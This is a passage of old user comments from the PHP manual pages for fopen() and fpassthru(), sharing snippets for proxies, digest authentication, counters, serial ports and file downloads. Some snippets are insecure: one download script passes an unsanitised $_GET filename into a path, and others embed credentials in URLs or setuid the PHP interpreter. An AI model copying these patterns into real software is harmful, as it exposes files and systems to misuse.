   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_HEADER, 0);

   ob_start();

   curl_exec ($ch);
   curl_close ($ch);
   $string = ob_get_contents();

   ob_end_clean();

   return $string;
}

#usage:
$content = get_content ("http://www.php.net");
var_dump ($content);
?>
zachajc at yahoo dot com (Zealot)
06-Aug-2005 04:35
When designing a few flatfile databases and admin panels, I stumbled upon an interesting thing. If a file has been generated into a page or variable via the readfile or include methods (did not try require), an ereg or preg replace to replace \n with <br> does not detect any \n in the file. However, when attempting the same thing with fopen, fread, it works perfectly.
ideacode
03-Aug-2005 10:28
Note that whether you may open directories is operating system dependent. The following lines:

<?php
// Windows ($fh === false)
$fh = fopen('c:\\Temp', 'r');

// UNIX (is_resource($fh) === true)
$fh = fopen('/tmp', 'r');
?>

demonstrate that on Windows (2000, probably XP) you may not open a directory (the error is "Permission Denied"), regardless of the security permissions on that directory.

On UNIX, you may happily read the directory format for the native filesystem.
rafaelbc at matrix dot com dot br
24-May-2005 12:23
pflaume dot NOSPAM at NOSPAM dot gmx dot de's proxy_url() was very helpful to me!
Although, I still had a problem: proxy authentication.

So I added some code to enable http get through a proxy with user authentication.

<?php
function proxy_url($proxy_url)
{
   $proxy_name = '127.0.0.1';
   $proxy_port = 4001;
   $proxy_user = "user";    // added
   $proxy_pass = "password";    // added
   $proxy_cont = '';

   $proxy_fp = fsockopen($proxy_name, $proxy_port);
   if (!$proxy_fp)    {return false;}
   fputs($proxy_fp, "GET $proxy_url HTTP/1.0\r\nHost: $proxy_name\r\n");
   fputs($proxy_fp, "Proxy-Authorization: Basic " . base64_encode ("$proxy_user:$proxy_pass") . "\r\n\r\n");    // added
   while(!feof($proxy_fp)) {$proxy_cont .= fread($proxy_fp,4096);}
   fclose($proxy_fp);
   $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
   return $proxy_cont;
}
?>
francois AT crevola DOT com
11-May-2005 07:54
In reply to "pflaume dot NOSPAM at NOSPAM dot gmx dot de"
about  fopen() and PROXY

With PHP 5.0.0 and after, you can use a proxy by using a stream context. See the note about "Context support was added with PHP 5.0.0".
18-Apr-2005 11:41
This only relavant to those opening a remote file for writing using the PECL SSH2 for SFTP paths for the string filename.  Since SFTP has variations, most of which are non-secure, using this module is the only viable solution.  The optional FTP extension class that uses the function 'ftp_ssl_connect' uses openssl, which only encrypts the communication requests and not the data - or something close to that.  At any rate, many systems will not allow connection to their SFTP server using this method.

I think it's worth mentioning that some of the examples provided in various areas failed consistantly using the syntax given, using both possible methods of.
   ssh2.sftp://$sftp/example.com/path/to/file
   ssh2.sftp://user:pass@$sftp/example.com/path/to/file

It's just a small adjustment to correct this, but as most coding goes, a long road to find a stupid little oversight.  Apparently it is necessary to supply the port as well in the path.  Could just be the few systems I was testing against, but that would be three separate networks using three separate platforms (Windows Server, Linux, Unix).  At any rate, the following works like a charm, and was very simple to install the libssh2 library and PECL SSH2 module required to use this system.  Gotta love PHP.
   ssh2.sftp://$sftp/example.com:22/path/to/file
   ssh2.sftp://user:pass@$sftp:22/example.com/path/to/file

Hope this saves anyone some headache and time.
abesharp at yahoo dot co dot uk
05-Apr-2005 07:12
This function has a basic implementation of HTTP Digest Authentication (as per RFC 2617) to get a file from a web server which requires digest authentication (as opposed to basic authentication - the difference being that, with basic, your password is sent to the server as plain text, whereas with digest, it is hashed with a server-supplied nonce to protect against sniffing and replay attacks).

You just supply the host (e.g www.example.com), the name of the file you want (e.g protected_page.html), and the necessary username and password, and the function returns the contents of the protected file (or the error message that the server sends, if you supplied the wrong credentials).

If the server only supports a QOP of auth-int (rather then auth) this function won't work, but can be easily modified with reference to the RFC at http://www.ietf.org/rfc/rfc2617.txt

<?php
function readHTTPDigestAuthenticatedFile($host,$file,$username,$password)
{
   if (!$fp=fsockopen($host,80, $errno, $errstr, 15))
       return false;

   //first do the non-authenticated header so that the server
   //sends back a 401 error containing its nonce and opaque
   $out = "GET /$file HTTP/1.1\r\n";
       $out .= "Host: $host\r\n";
       $out .= "Connection: Close\r\n\r\n";

     fwrite($fp, $out);

   //read the reply and look for the WWW-Authenticate element
   while (!feof($fp))
   {
       $line=fgets($fp, 512);

       if (strpos($line,"WWW-Authenticate:")!==false)
           $authline=trim(substr($line,18));
   }

   fclose($fp);

   //split up the WWW-Authenticate string to find digest-realm,nonce and opaque values
   //if qop value is presented as a comma-seperated list (e.g auth,auth-int) then it won't be retrieved correctly
   //but that doesn't matter because going to use 'auth' anyway
   $authlinearr=explode(",",$authline);
   $autharr=array();

   foreach ($authlinearr as $el)
   {
       $elarr=explode("=",$el);
       //the substr here is used to remove the double quotes from the values
       $autharr[trim($elarr[0])]=substr($elarr[1],1,strlen($elarr[1])-2);
   }

   foreach ($autharr as $k=>$v)
       echo("$k ==> $v\r\n");

   //these are all the vals required from the server
   $nonce=$autharr['nonce'];
   $opaque=$autharr['opaque'];
   $drealm=$autharr['Digest realm'];

   //client nonce can be anything since this authentication session is not going to be persistent
   //likewise for the cookie - just call it MyCookie
   $cnonce="sausages";

   //calculate the hashes of A1 and A2 as described in RFC 2617
   $a1="$username:$drealm:$password";$a2="GET:/$file";
   $ha1=md5($a1);$ha2=md5($a2);

   //calculate the response hash as described in RFC 2617
   $concat = $ha1.':'.$nonce.':00000001:'.$cnonce.':auth:'.$ha2;
   $response=md5($concat);

   //put together the Authorization Request Header
   $out = "GET /$file HTTP/1.1\r\n";
       $out .= "Host: $host\r\n";
   $out .= "Connection: Close\r\n";
   $out .= "Cookie: cookie=MyCookie\r\n";
   $out .= "Authorization: Digest username=\"$username\", realm=\"$drealm\", qop=\"auth\", algorithm=\"MD5\", uri=\"/$file\", nonce=\"$nonce\", nc=00000001, cnonce=\"$cnonce\", opaque=\"$opaque\", response=\"$response\"\r\n\r\n";

   if (!$fp=fsockopen($host,80, $errno, $errstr, 15))
       return false;

   fwrite($fp, $out);

   //read in a string which is the contents of the required file
   while (!feof($fp))
   {
       $str.=fgets($fp, 512);
   }

   fclose($fp);

   return $str;
}

?>
nuno at ideianet dot pt
04-Mar-2005 09:03
In IIS you must add the group Authenticated Users
with write and modify permissions in the file where
you want to write if you are in a Protected directory
(Basic or Digest authentication) and want to write to
a file in a Unprotected directory (Anonymous Access)
in order to get permission to do that. Otherwise you
will get the message: PHP Warning: fopen(x.txt): failed
to open stream: Permission denied in c:\web\x\x.php on
line 3 PHP Warning: fwrite(): supplied argument is not
a valid stream resource in c:\web\x\x.php on line 10
Thomas Candrian tc_ at gmx dot ch
12-Nov-2004 11:35
With this it isn't possible to get data from another port than 80 (and 443) - at least for me. Because of that I've made this function who gets data from every port you want using HTTP:

<?php;
function getcontent($server, $port, $file)
{
   $cont = "";
   $ip = gethostbyname($server);
   $fp = fsockopen($ip, $port);
   if (!$fp)
   {
       return "Unknown";
   }
   else
   {
       $com = "GET $file HTTP/1.1\r\nAccept: */*\r\nAccept-Language: de-ch\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nHost: $server:$port\r\nConnection: Keep-Alive\r\n\r\n";
       fputs($fp, $com);
       while (!feof($fp))
       {
           $cont .= fread($fp, 500);
       }
       fclose($fp);
       $cont = substr($cont, strpos($cont, "\r\n\r\n") + 4);
       return $cont;
   }
}
echo getcontent("www.myhost.com", "81", "/"));
?>

Works fine for me. Had to do this especially for a shoutcast server, which only delivered the HTML-file if the user-agent was given.
pflaume dot NOSPAM at NOSPAM dot gmx dot de
07-Nov-2004 06:31
fopen() and PROXY

I wondered why there is no possibility to use fopen() through a proxy in php. The solution posted above did not work for me.

This little function gets http through a given proxy:

<?php
function proxy_url($proxy_url)
{
   $proxy_name = '127.0.0.1';
   $proxy_port = 4001;
   $proxy_cont = '';

   $proxy_fp = fsockopen($proxy_name, $proxy_port);
   if (!$proxy_fp)    {return false;}
   fputs($proxy_fp, "GET $proxy_url HTTP/1.0\r\nHost: $proxy_name\r\n\r\n");
   while(!feof($proxy_fp)) {$proxy_cont .= fread($proxy_fp,4096);}
   fclose($proxy_fp);
   $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
   return $proxy_cont;
}
?>
justin at redwiredesign dot com
15-Jul-2004 03:03
One thing worth noting is that if you use the fopen command to open an HTTP stream, and the URL you're trying to access is invalid or generates an error response, (i.e. 404 Not found), the fopen call will return false.
Jem Tallon
14-Apr-2004 06:11
If you're using fopen to open a URL that requires authorization, you might need to force a HTTP/1.0 request for it since fopen won't support HTTP/1.1 requests. You can do that by setting your user_agent to one that is known only to support HTTP/1.0 (most webservers will be configured to force HTTP/1.0 for some browsers). Here's what worked for me:

<?php
$returned=URLopen("http://$username:$password@example.com");

function URLopen($url)
{
       // Fake the browser type
       ini_set('user_agent','MSIE 4\.0b2;');

       $dh = fopen("$url",'r');
       $result = fread($dh,8192);
       return $result;
}
?>
php at gotdoof dot com
04-Apr-2004 12:19
Note that opening a fifo with fopen() will block the php process until data is sent to it. That means any function you have registered as a shutdown function (register_shutdown_function()) will not be called when the user disconnects, and the process will keep running in the background, waiting for input. I know of no way around this, besides using some other means of IPC.
richard dot quadling at carval dot co dot uk
04-Feb-2004 09:04
The issue involving some sites requiring a valid user-agent string when using fopen can easily be resolved by setting the user_agent string in the PHP.INI file.

If you do not have access to the PHP.INI file, then the use of

ini_set('user_agent','Mozilla: (compatible; Windows XP)');

should also work.

The actual agent string is up to you. If you want to identify to the sites that you are using PHP ...

ini_set('user_agent','PHP');

would do.

Regards,

Richard Quadling.
29-Jan-2004 03:34
If you are connecting to your ftp server through a router doing NAT (such as the Zyxel 128L prestige router/bridge we are using) by doing say an <? fopen("ftp://ftpusername:ftppassword@ftpserver/".$file_name, "w") ?>, then this could fail. You will get php_hostconnect connection failed error. This is because <?fopen() ?>function uses a passive ftp connection which the Zyxel router does not support, even though your ftp server may be configured to allow the passive connections which php <?fopen?> function is using. Note that $file_name is the file we want to ftp to the remote server eg could be file.txt.

Thus an alternative would be to do create the file you want in a local directory of your machine or in the webserver where your php files reside eg use <?fwrite()?> as documented in the manual. Once you have the $file_name you want to ftp created, do the following:

<?
ftp_connect($ftp_server);
//which can connect to the ftp server using an active connection.
ftp_login ($conn_id, $ftp_username."@".$ftp_server, $ftp_password);
$fp = fopen($PATH."".$file_name, 'r');
// eg. $fp = fopen("http://www.yourwebsite.com/".$file_name, 'r');
//turn off passive mode transfers
ftp_pasv ($conn_id, false);
//now upload $file_name
ftp_fput($conn_id, $file_name, $fp, FTP_ASCII));
?>
Your file should now be in your ftp server, having used an active connection.
sergiopaternoster at tiscali dot it
27-Nov-2003 09:11
If you want to open large files (more than 2GB) that's what I did and it works: you should recompile your php with the CFLAGS="-D_FILE_OFFSET_BITS=64" ./configure etc... This tells to your compiler (I tested only gcc on PHP-4.3.4 binary on Linux and Solaris) to make the PHP parser binary large file aware. This way fopen() will not give you the "Value too large for defined data type" error message.
God bless PHP
ciao
Sergio Paternoster
ken dot gregg at rwre dot com
26-Nov-2003 07:03
PHP will open a directory if a path with no file name is supplied. This just bit me. I was not checking the filename part of a concatenated string.

For example:

$fd = fopen('/home/mydir/' . $somefile, 'r');

Will open the directory if $somefile = ''

If you attempt to read using the file handle you will get the binary directory contents. I tried append mode and it errors out so does not seem to be dangerous.

This is with FreeBSD 4.5 and PHP 4.3.1. Behaves the same on 4.1.1 and PHP 4.1.2. I have not tested other version/os combinations.
dan at cleandns dot com
20-Nov-2003 03:15
<?php
#going to update last users counter script since
#aborting a write because a file is locked is not correct.

$counter_file = '/tmp/counter.txt';
clearstatcache();
ignore_user_abort(true);    ## prevent refresh from aborting file operations and hosing file
if (file_exists($counter_file)) {
   $fh = fopen($counter_file, 'r+');
   while(1) {
     if (flock($fh, LOCK_EX)) {
         #$buffer = chop(fgets($fh, 2));
         $buffer = chop(fread($fh, filesize($counter_file)));
         $buffer++;
         rewind($fh);
         fwrite($fh, $buffer);
         fflush($fh);
         ftruncate($fh, ftell($fh));
         flock($fh, LOCK_UN);
         break;
     }
   }
}
else {
   $fh = fopen($counter_file, 'w+');
   fwrite($fh, "1");
   $buffer="1";
}
fclose($fh);

print "Count is $buffer";

?>
phpNO at SPAMperfectweb dot com
31-Jul-2003 04:39
I offer the following script for updating a counter, using methods gleaned from various posts on file operations...

<?
$counter_file = 'somefile.txt';
clearstatcache();
ignore_user_abort(true);    ## prevent refresh from aborting file operations and hosing file
$fh = fopen($counter_file, 'r+b');    ## use 'r+b' so file can be read and written
if ($fh)
{
     if (flock($fh, LOCK_EX))    ## don't do anything unless lock is successful
     {
         $count = fread($fh, filesize($counter_file));
         rewind($fh);
         $count++;
         fwrite($fh, $count);
         fflush($fh);
         ftruncate($fh, ftell($fh));    ## better than truncating to 0 before writing, per 04-Mar-2003 comment below
         flock($fh, LOCK_UN);
     } else echo "Could not lock counter file '$counter_file'";
     fclose($fh);
} else  echo "Could not open counter file '$counter_file'";
ignore_user_abort(false);    ## put things back to normal

echo "counter is at $count";
?>
unshift at yahoo dot com
02-Jul-2003 07:58
It seems that fopen() errors when you attempt opening a url starting with HTTP:// as opposed to http:// - it is case sensitive.  In 4.3.1 anyway..."HTTP://", by not matching "http://" will tell the wrapper to look locally.  From the looks of the source, the same goes for HTTPS vs https, etc.
simon at gornall dot net
20-Jun-2003 03:24
If you're having problems with fopen("url...") but you can run 'host url' in a shell window and get the correct lookup, here's why...

This has had me banging my head against it all day - finally I found the answer buried in the bug reports, but figured it should really be more prominent!

The problem happens when you're on an ADSL line with DHCP (like our office)... When the ADSL modem renews the DHCP lease, you can also switch DNS servers, which confuses apache (and hence PHP) - meaning that you can't look up hosts from within PHP, even though you *can* from the commandline.... The short-term solution is to restart apache.

You'll get "php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution in ..." messages as symptoms. Restart apache, and they're gone :-)

Simon
RobNar
17-Jun-2003 11:15
This is an addendum to ibetyouare at home dot com's note about Apache directory permissions.  If you are on a shared host and cannot tweak Apache's permissions directives then you might try setting the same thing in a .htaccess file.  Failing that, if you are having trouble just creating files then  set the directory permissions to allow writing (for whatever directory the file is supposed to be in) and include the following before fopen():

`touch /path/to/myfile/myfile.txt`;

That will usually create a new empty file that you can write to even when fopen fails. - PHP 4.3.0
09-Jun-2003 06:50
If you have problems with safe mode creating errors

"Warning: SAFE MODE Restriction in effect. The script whose uid is.."

because one of your PHP scripts created the PHP file you are now trying to run, then you can use fopen() to create these files which will then be owned by you (not the server admin).

It must be done using the ftp method...

>> fopen('ftp://user:pass@domain.com', 'w+b');

But please remember that this only creates files, I havent found a way around setting the correct UID on folders (yet)

Krang
- http://www.krang.org.uk
Jhilton a at t nurv dot us
06-Jun-2003 03:54
Quick tip. If using fopen to make http requests that contain a querystring, it is advised that you urlencode() your values, else characters like @ can make fopen (or whatever wrapper it is using) throw an error.
05-Mar-2003 12:49
To overwrite a file with a new content without deleting it, and without changing the owner or access rights, it's best to not use:

$file = fopen($filename, 'r+b); // binary update mode
...
ftruncate($file, 0);
fwrite($file, $my_stuff);
...
fclose($file);

but instead the faster one:

$file = fopen($filename, 'r+b); // binary update mode
...
rewind($file);
fwrite($file, $my_stuff);
fflush($file);
ftruncate($file, ftell($file));
...
fclose($file);

The reason is that truncating a file at size 0 forces the OS to deallocate all storage clusters used by the file, before you write your content which will be reallocated on disk.

The second code simply overwrites the existing content where it is already located on disk, and truncates any remaining bytes that may exist (if the new content is shorter than the old content). The "r+b" mode allows access for both read and write: the file can be kept opened after reading it and before rewriting the modified content.

It's particularly useful for files that are accessed often or have a size larger than a few kilobytes, as it saves lots of system I/O, and also limits the filesystem fragmentation if the updated file is quite large.

And this method also works if the file is locked exclusively once opened (but I would rather recommend using another empty file for locking purpose, opened with "a+" access mode, in "/var/lock/yourapp/*" or other fast filesystems where filelocks are easily monitored and where the webserver running PHP is allowed to create and update lock files, and not forgetting to close the lock file after closing the content file).
draconumpb at hotmail dot com
07-Dec-2002 07:37
I just used explode() as an alternative to fscanf, since my only delimiter was | (pipe). I was having problems with it, since I use it in my news-management script. I found that it cut the last variable I was using, $body, a bit short when I posted a long news post. This would've been a real problem for anybody trying to make news posts longer than a paragraph or so.

However, I found that when I used:
list($variable1, $variable2, etc) = explode("|",$data);
it didn't cut any variables short, so.. what I'm really trying to say here is that for people who are experiencing problems with parsing simple files (i.e with only a single, simple delimiter such as : or |) using the unecessarily complex fscanf() and sscanf() functions, explode() is definately the way to go.

function get_news($filepath, $newsid)
{
$datafile = fopen("$filepath/news/$newsid.txt","r");
$data = fread($datafile, 1000000);
list($author, $email, $date, $subject, $body) = explode("|",$data);
$body = stripslashes("$body");
$subject = stripslashes("$subject");
echo "<a href=\"mailto:$email\">$author</a> -- $date -- $subject<hr>$body<p>";
}

sample file:

AdministratorMax|admin@somesite.com|Tuesday, March 5th @ 5:45 PM EST|Site Going Down Tomarrow|Well, folks, I\'m sorry to say that the site will indeed be down tomarrow for most of the day. Hang in there.

Output:

<a href="mailto:admin@somesite.com">AdministratorMax</a> -- Tuesday, March 5th -- Site Going Down Tomarrow<hr>Well, folks, I'm sorry to say that the site will indeed be down tomarrow for most of the day. Hang in there.

Thought that might be useful for anybody making a simple news-management script, ;)

By the way, feel free to correct me if I made any mistakes - I'm at my dad's work where I don't really have a way to check to see if it works or not. However, I use a more complex version of this on my portal project, and it works beautifully.
andyNO at SPAMuchicago dot edu
31-Aug-2002 05:42
Playing with fopen("https://xxx", "r") it seems that HTTPS is only supported with OpenSSL AND PHP 4.3 . Older versions of PHP don't seem to be able to do this.
suraj at _nospam_nospam_symonds dot net
17-Jul-2002 09:41
This note is relevant to the first few notes that talk about writing to files as user 'foobar'.

if one wanted to write to files as user 'foobar' when apache runs as 'root' the new POSIX fucntions. Here's a code snippet explaining how this can be done

<?

$x = posix_getuid ();

if (0 == $x) {
   echo "I'm root\n";

   $pw_info = posix_getpwnam ("foobar");
   $uid = $pw_info["uid"];
   posix_setuid ($uid);

   $fp = fopen ("/tmp/test.file", "w");
   fclose ($fp);
} else {
   echo "I'm not root! I'm not worthy... I'm not worthy....\n";
}

?>

[Note:
1. This would only set the uid... not the gid. If you wanted to write to files as 'foobar:foobar' then you also have to do a posix_setgid ($gid);
2. If you are using the CGI version of php4, you should setuid your php4 interpreter: chmod 4755 /path/to/cgi-bin/php4 (generally, /usr/lib/cgi-bin/php4)]
02-Jul-2002 12:57
Note that if specifying the optional 'b' (binary) mode, it appears that it cannot be the first letter for some unaccountable reason. In other words, "br" doesn't work, while "rb" is ok!
jared at dctkc dot com
23-Apr-2002 04:33
<?php
// HOW TO USE PHP TO WRITE TO YOUR SERIAL PORT: TWO METHODS
$serproxy=true;
if ($serproxy) {
   // Use this code in conjunction with SERPROXY.EXE
   // (http://www.lspace.nildram.co.uk/freeware.html)
   // which converts a Serial stream to a TCP/IP stream
   $fp = fsockopen ("localhost", 5331, $errno, $errstr, 30);
   if (!$fp) {
       echo "$errstr ($errno)";
   } else {
       $e = chr(27);
       $string  = $e . "A" . $e . "H300";
       $string .= $e . "V100" . $e . "XL1SATO";
       $string .= $e . "Q1" . $e . "Z";
       echo $string;
       fputs ($fp, $string );
       fclose ($fp);
   }
} elseif ($com1) {
   // Use this code to write directly to the COM1 serial port
   // First, you want to set the mode of the port. You need to set
   // it only once; it will remain the same until you reboot.
   // Note: the backticks on the following line will execute the
   // DOS 'mode' command from within PHP
   `mode com1: BAUD=9600 PARITY=N data=8 stop=1 xon=off`;
   $fp = fopen ("COM1:", "w+");
   if (!$fp) {
       echo "Uh-oh. Port not opened.";
   } else {
       $e = chr(27);
       $string  = $e . "A" . $e . "H300";
       $string .= $e . "V100" . $e . "XL1SATO";
       $string .= $e . "Q1" . $e . "Z";
       echo $string;
       fputs ($fp, $string );
       fclose ($fp);
   }
}
?>
16-Mar-2002 10:18
Also if you're server is useing htaccess to authticate users make sure to add the username and password to the http link you're trying to open. I forgot about this and took a while to find.
ie:

fopen("http://user:pass@www.mysite.com/mypage.php");
landrews at email dot com
22-Feb-2002 02:31
To the people haveing problems with opening "ftp:" url opens and files not being written.  It seems that PHP wants the complete path. Make sure your not referencing through a soft link or alias. Use the full path from /
ie
/usr/www/htdocs/data/blah.php
php at themastermind1 dot com
24-Oct-2001 01:37
I have found that I can do fopen("COM1:", "r+"); to open the comport in windows. You have to make sure the comport isn't already open or you will get a permission denied.

I am still playing around with this but you have to somehow flush what you send to the comport if you are trying to communicate realtime with a device.
keithm at aoeex dot NOSPAM dot com
31-Jul-2001 08:19
I was working on a consol script for win32 and noticed a few things about it.  On win32 it appears that you can't re-open the input stream for reading, but rather you have to open it once, and read from there on.  Also, i don't know if this is a bug or what but it appears that fgets() reads until the new line anyway.  The number of characters returned is ok, but it will not halt reading and return to the script.  I don't know of a work around for this right now, but i'll keep working on it.

This is some code to work around the close and re-open of stdin.

<?php
function read($length='255'){
   if (!isset($GLOBALS['StdinPointer'])){
       $GLOBALS['StdinPointer']=fopen("php://stdin","r");
   }
   $line=fgets($GLOBALS['StdinPointer'],$length);
   return trim($line);
}
echo "Enter your name: ";
$name=read();
echo "Enter your age: ";
$age=read();
echo "Hi $name, Isn't it Great to be $age years old?";
@fclose($StdinPointer);
?>
icon at mricon dot com
10-Nov-1999 06:44
If you're running PHP as apache module, it will always write files as "nobody", "www", "httpd", (or whatever user your webserver runs as) unless you specify a different user/group in httpd.conf, or compile apache with suexec support.
However, if you run PHP as a CGI wrapper, you may setuid the PHP executable to whatever user you wish (*severe* security issues apply). If you really want to be able to su to other user, I recommend compiling with suexec support.
AFAIK, PHP can't NOT use SuEXEC if apache does. If PHP is configured as an apache module it will act as whatever user the apache is. If apache SuEXEC's to otheruser:othergroup (e.g. root:root), that's what PHP will write files as, because it acts as a part of apache code. I suggest you double-check your SuEXEC configuration and settings. Note: you can't su to another user within the PHP code -- it has to be an apache directive, either through <VirtualHost>, or through .htaccess. Also note: I'm not sure how it all works (if it works at all) on Win32 platforms.
Check www.apache.org to see how it's done.
add a note add a note

后退 | 起点 | 前进
fnmatch | 上一级 | fpassthru


fpassthru

(PHP 3, PHP 4, PHP 5)

fpassthru -- 输出文件指针处的所有剩余数据

说明

int fpassthru ( resource handle )

将给定的文件指针从当前的位置读取到 EOF 并把结果写到输出缓冲区。

如果发生错误， fpassthru() 返回 FALSE。 否则 fpassthru() 返回从 handle 读取并传递到输出的字符数目。

文件指针必须是有效的，并且必须指向一个由 fopen() 或 fsockopen() 成功打开的文件。

如果已经向文件写入数据，就必须调用 rewind() 来将文件指针指向文件头。

如果既不修改文件也不在特定位置检索，只想将文件的内容下载到输出缓冲区，应该使用 readfile()，这样可以省去 fopen() 调用。

注: 当在 Windows 系统中将 fpassthru() 用于二进制文件时，要确保在用 fopen() 打开文件时在 mode 中附加了 b 来将文件以二进制方式打开。

鼓励在处理二进制文件时使用 b 标志，即使系统并不需要，这样可以使脚本的移植性更好。

例子 1. 对二进制文件使用 fpassthru()

<?php

// 以二进制格式打开文件
$name = './img/ok.png'
$fp = fopen($name, 'rb');

// 发送合适的报头
header("Content-Type: image/png");
header("Content-Length: " . filesize($name));

// 发送图片并终止脚本
fpassthru($fp);
exit;

?>

参见 readfile()，fopen()，popen() 和 fsockopen()。

add a note add a note User Contributed Notes
file downloads verified by session vars
22-Oct-2005 11:36
here is my code, i tried several combinations, but most of them didnt work, and had all kinds of unnecessary headers in them, etc. this has additional good features, such as it stops sending the file if the connection stops (hopefully it does anyways), and it fixes IE filename problems when sending files that contain more than one dot in them by using a simple  preg_replace (IE likes to terminate the filename and messes everything up):

<?
function send_file($path) {
   session_write_close();
   ob_end_clean();
   if (!is_file($path) || connection_status()!=0)
       return(FALSE);

   //to prevent long file from getting cut off from    //max_execution_time

   set_time_limit(0);

   $name=basename($path);

   //filenames in IE containing dots will screw up the
   //filename unless we add this

   if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
       $name = preg_replace('/\./', '%2e', $name, substr_count($name, '.') - 1);

   //required, or it might try to send the serving    //document instead of the file

   header("Cache-Control: ");
   header("Pragma: ");
   header("Content-Type: application/octet-stream");
   header("Content-Length: " .(string)(filesize($path)) );
   header('Content-Disposition: attachment; filename="'.$name.'"');
   header("Content-Transfer-Encoding: binary\n");

   if($file = fopen($path, 'rb')){
       while( (!feof($file)) && (connection_status()==0) ){
           print(fread($file, 1024*8));
           flush();
       }
       fclose($file);
   }
   return((connection_status()==0) and !connection_aborted());
}

?>
20-Sep-2005 12:12
I've gathered some useful info regarding sessions and large file downloads. I do not take credit for the function, just putting it in one spot for people.

The function:

<?
function send_file($name) {
   ob_end_clean();
   $path = "/directory/path/".$name;
   if (!is_file($path) or connection_status()!=0) return(FALSE);
   header("Cache-Control: no-store, no-cache, must-revalidate");
   header("Cache-Control: post-check=0, pre-check=0", false);
   header("Pragma: no-cache");
   header("Expires: ".gmdate("D, d M Y H:i:s", mktime(date("H")+2, date("i"), date("s"), date("m"), date("d"), date("Y")))." GMT");
   header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
   header("Content-Type: application/octet-stream");
   header("Content-Length: ".(string)(filesize($path)));
   header("Content-Disposition: inline; filename=$name");
   header("Content-Transfer-Encoding: binary\n");
   if ($file = fopen($path, 'rb')) {
       while(!feof($file) and (connection_status()==0)) {
           print(fread($file, 1024*8));
           flush();
       }
       fclose($file);
   }
   return((connection_status()==0) and !connection_aborted());
}
?>

And now how to use it...

<?php
session_start();

//Validate the user
if($_SESSION[login] == 1){

   //Close the session to allow for header() to be sent
   session_write_close();

   if(!send_file("testfile.zip")) {
       die ("file transfer failed");
   } else {
       //Log the download
   }
}else{
   echo "Not logged in";
}
?>

This lets a user download a file while still being able to browse your site.
jonathan at corporacionlinux dot cl
05-Aug-2005 11:58
While trying to "passthru" a file to the browser via PHP, but using the FEOF loop, the script tried to buffer the entire file before passing it to the browser. This is my original script. When calling it with a 15M PHP memory limit and a 16M file, apache killed the script.

<?php
   $name = $tempDir . $_GET["file"];
   $fd = fopen($name, 'rb');

   if($fd == false)

       die("<font color=red>ERROR: File not found.</font>");

   // send the right headers
   header("Cache-Control: ");// leave blank to avoid IE errors
   header("Pragma: ");// leave blank to avoid IE errors
   header("Content-type: application/octet-stream");
   header("Content-Disposition: attachment; filename=\"" . $_GET["file"] . "\"");
   header("Content-length:".(string)(filesize($name)));
   sleep(1);

   session_write_close();
   ob_flush();
   flush();

         while(!feof($fd)) {

               $buffer = fread($fd, 2048);
               print $buffer;
         }

         fclose ($fd);
         exit;
?>

Apache error log read:
Allowed memory size of 15728640 bytes exhausted (tried to allocate 10240 bytes)

I tried everything, including a flush() inside the loop. But the solution was forcing the flush other way:

<?php

   $buffer = fread($fd, 32 * 1024);

?>

voila... works just fine for me.
herbert dot fischer at NOSPAM dot gmail dot com
22-Jul-2005 11:08
readfile and fpassthru are about 55% slower than doing a loop with "feof/echo fread".

I did an apache benchmark on Linux using PHP to read-and-show a 4MB JPG on browser and here are the results:

* Concurrency Level: 200
* Complete requests: 1000
* Document Length: 4646204 bytes
* Requests per second:
           - direct request to JPG: 72.07
           - fpassthru: 11.28
           - fread: 20.33
           - readfile: 11.84

* Concurrency Level: 200
* Complete requests: 1000
* Document Length: 4646204 bytes
* Requests per second:
           - direct request to JPG: 64.44
           - fpassthru: 6.84
           - fread: 19.45
           - readfile: 8.76

If reading thru PHP is needed, I suggest using fread. If you can bypass PHP and do direct linking, than it's prefered.
eamonn at easywebdev.com
04-Feb-2005 09:18
I was creating an application to download software products in zip, tar.gz and tar.bz2 formats using fpassthru and whilst the downloads functioned the resulting files were all corrupted.

I traced this down to zlib.output_compression being turned on.
If you exerience this then add ini_set("zlib.output_compression", "Off"); just before you send your headers.
webmaster at hardcorehoneyz dot com
16-Dec-2004 09:20
In relation to using sessions and fpassthru together.

Try adding: session_write_close()

somewhere near the top of the download script, before you start sending the video, and that should take care of it.

I've implemented and tested session_write_close() and it works like a dream. Other links can now be clicked and loaded whilst a big file is being passed using fpassthru.

Big thanks to Greg for this tip. What a helpful community we live in :0)
webmaster at hardcorehoneyz dot com
06-Dec-2004 09:33
I believe the following problem is a result of using sessions and fpassthru together.

I have a subscription based site which protects large video files (WMV format between 100-120MB) by storing them beneath web root. Downloading a video file requires the user to click a HTML link which requests a PHP script e.g. download-video.php?video_id=123. If the user is valid (session vars created from sucessful login) the script then creates the necessary headers to trigger a 'Save As' download box, opens the file from beneath web root and sends it using fpassthru.

The problem is as follows:

The user should be able to click other links on the site whilst a file is downloading. But when they do so, the requested page won't load until the download is complete.

As this download script is a seperate PHP request, the user should be able to load other pages on the site whilst the file is downloading.

At time of writing, I've tried almost everything to remove this bug. There must be a problem with using a PHP script rather than a direct web server link to download files.
lbaudrillard at hotmail dot com
16-Nov-2004 04:45
The way the PHP page is generated (buffered or not, and how if buffered) has an impact of the download function made using fpassthru (or fread, ...). I mean a download function may work just fine when it is called from a simple php file (no buffering here):

<?php
   function download($file) { ... }

   $filename = "/tmp/test.zip";
   download($filename);
?>

but may fails "in the real life" when the page is buffered:

<?php
   ob_start("ob_gzhandler");
   ...
   require_once(download.php);
   ...
   $filename = "/files/file.zip";
   download($filename);
?>

In my particular case, only Firefox 1.0 English did not perform the download, because of the ob_start("ob_gzhandler"). Replacing it by ob_start() solved the problem.

Hope that helps
Laurent from Paris, France
phpnet at -remove-me-uchange dot co dot uk
03-Nov-2004 09:11
I've modified the example given by straz at -removethispart-mac dot com to count each byte of the file out.  This can then be compared with the filesize once the file sending is complete to determine whether the file was sent succesfully or not.

Of course, this doesn't guarantee that the user actually recieved the file successfully though will let us know if something goes wrong half way through reading/sending the file at our end.

<?
/* fpassthru is apparantly a memory-hog. Use this instead */
   while(!feof($fp)) {
